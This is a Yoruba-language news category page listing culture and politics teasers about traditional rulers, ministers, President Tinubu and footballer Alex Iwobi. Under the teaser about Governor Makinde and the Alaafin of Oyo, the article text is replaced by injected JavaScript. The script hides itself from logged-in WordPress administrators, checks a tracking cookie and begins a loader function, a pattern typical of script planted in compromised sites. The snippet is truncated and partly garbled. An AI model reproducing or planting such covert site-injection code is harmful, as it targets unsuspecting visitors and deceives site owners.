Browsing Category
ÌRÒYÌN ÀṢÀ ÀTI ÌṢE YORÙBÁ
This is a category for culture and life news
Oníṣẹ́ Ọnà Ké Gbàjarì Pé Isẹ́ Ọnà Àti Àṣà Wa Kò Gbọdọ̀ Parun
Oníṣẹ́ ọnà kan ní orílẹ̀-èdè yìí, Isah Lawan, ti ke gbajari sì àwọn ọmọ orílẹ̀-èdè yìí pé isé ọnà àti àṣà wa ti fẹ máa lọ sì oko ìparun.
Ọgbẹni Lawani ti o ti wá nidi isẹ́ ọnà láti bi ogójì ọdún sẹyìn, ẹni ti o n sisẹ́ ní Eko Hotel and…
Àjọ Adarí Ilẹ̀ Adúláwọ̀ Fẹ́ Dá Ọọ̀ni Ti Ilé Ifẹ̀ Lọ́lá
Ẹlẹ́kẹrìnlá irú rẹ àjọ ipade ẹyẹ Adari ilé Adúláwọ̀ tí wọ́n gbékalẹ̀ lábẹ́ àjọ UN International Peace Governance Council (UNIPGC), ẹ̀ka ilẹ̀ Adúláwọ̀ yóò fi àmì ẹyẹ ọlọlá- Grand Commander of Peace fún Ọba Adeyeye Babatunde Enitan…
Aṣáájú Nàìjíríà Gbá Àkọlé Àṣà Ìbílẹ̀ Tó Gíga Jùlọ Ní Akwa Ibom
Ìgbìmọ̀ Àwọn Alàkóso ìbílẹ̀ tí Ìpínlẹ̀ Akwa Ibom tí ṣé ọla fún Ààrẹ Bola Ahmed Tinubu pẹ̀lú àkọlé tó gá jùlọ tí "Otuekong," èyí tó ṣàfihàn Ààrẹ gẹ́gẹ́bí Alàkóso àgbà ní Ìpínlẹ̀ Akwa Ibom.
Ibù-ọlá fún Ààrẹ náà ló wáyé ní ọjọ́ Ẹtì ní…
Makinde Fi Ọwọ́ Sí Ìyànsípò Aláàfin Ìlú Ọ̀yọ́
(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var…
Oloro Ti Oro Tuntun Gorí Ìtẹ́ Lẹ́yìn Ẹ̀tàlélógòjìlénígba Ọdún Tí Ìran wọn Ti Jẹ
Ọjó málegbàgbé àti ọjọ́ ayọ̀ ló jẹ́ ni ilú Oro nígbà ti Oba alayeluwa tuntun, Joel Olaniyi Oyatoye Titiloye Olufayo II gorí ìtẹ́ àwọn bàbá rẹ pẹlú adé lori.
Èyí wáyé lẹ́yìn Ẹ̀tàlélógòjìlénígba Ọdún ti Iran wọn ti je gbẹ̀yìn.
Ọjọ…
Mínísítà Nipa Iṣẹ́ Ọnà Ṣèlérí Àjọṣepọ̀ Pẹ̀lú Mínísítà Àná, Ade-John Fún Ìgbéga Ètò Ìrìnàjò Àti…
Mínísítà iṣẹ́ ọnà, àṣà àti ìrìnrìnàjò àti ọgbọ́n àtinúdá ọ̀rọ̀ aje, Hannatu Musawa ti sọ pé òún yóò gba ìmòràn ati iriri ẹni iṣaju òun, Lola Ade-John lò fún ìtèsíwájú ẹ̀ka náà.
Níbi ayẹyẹ ìfisẹ́léniilọ́wọ́ ni Ọ́fíìsì rẹ̀ ni Abuja,…
Ìpínlẹ̀ Èkó Se Ìfilọ́lẹ̀ – Cultural Mission Movement
Olùdámọ̀ràn pàtàkì fún Gómìnà Ìpínlẹ̀ Èkó lori ọ̀rọ̀ nipa arìnrìnajò,iṣẹ ọnà ati ,aṣa, ògbéni Idris Aregbe ti tẹnumọ ojúṣe ijoba ipinle Eko lati gbe asa ipinle naa laruge.
Ọgbẹni Aregbe so eyi nibi Ifilọ́lẹ àjọ Lagos Cultural…
Mínísítà Rọ Àwọn Amúlùúdùn Láti Gbé Àṣà Wa Lárugẹ.
Mínísítà fún àṣà, àti ìṣe wà, Amòfin Hannatu Musa Musawa tí gbà àwọn Amúlùúdùn Làmọ̀ràn láti túnbò teramọ́ ìdàgbàsókè Àṣà àti ìṣe wà ní Orílẹ̀-èdè Nàìjíríà.
Nínú ọ̀rọ̀ ìkíni ayẹyẹ a ku ẹwu ọdún ni ọ̀rọ̀ náà tí jáde.
Mínísítà ni òun fi…
Iwobi Rawọ́ Ẹ̀bẹ̀ Sí Àwọn Ọmọ Orílẹ̀-èdè Nàìjíríà Láti Ní Sùúrù.
Ọmọ ẹgbẹ́ agbaboolu Orílẹ̀-èdè Nàìjíríà Alex Iwobi ti rawọ ẹ̀bẹ̀ sí àwọn olólùfẹ̀ rẹ láti ní sùúrù to pọ fún àwọn,
wọn ní àwọn yóò sa gbogbo agbara awọn láti rí wí pé àwọn kópa nínú ìdílé bọọlu àgbáyé ti ọdún 2026.
Orílẹ̀-èdè…
Ààrẹ Tinúbú Gbóríyìn Fún Ọọ̀ni Ilé Ifẹ̀ Fún Gbígbé Àṣà Àti Ìse Ilẹ̀ Yorùbá Lárugẹ
Ààrẹ orílẹ̀-èdè Nàìjíríà, Bọ́lá Ahmed Tinubú ti gbósùbà ràbàndẹ̀ fún Ọọ̀ni ti ilé-ifẹ̀ (Oba Adeyeye Ogunwusi) látàrí bí ó se ń gbé àṣà àti ìṣe ilẹ̀ Yorùbá lárugẹ.
Ààrẹ Tinubu wí pé, láti ìgbà Kábíyèsí ti gorí ìtẹ́ baba rẹ̀, ìṣàkóso rẹ̀…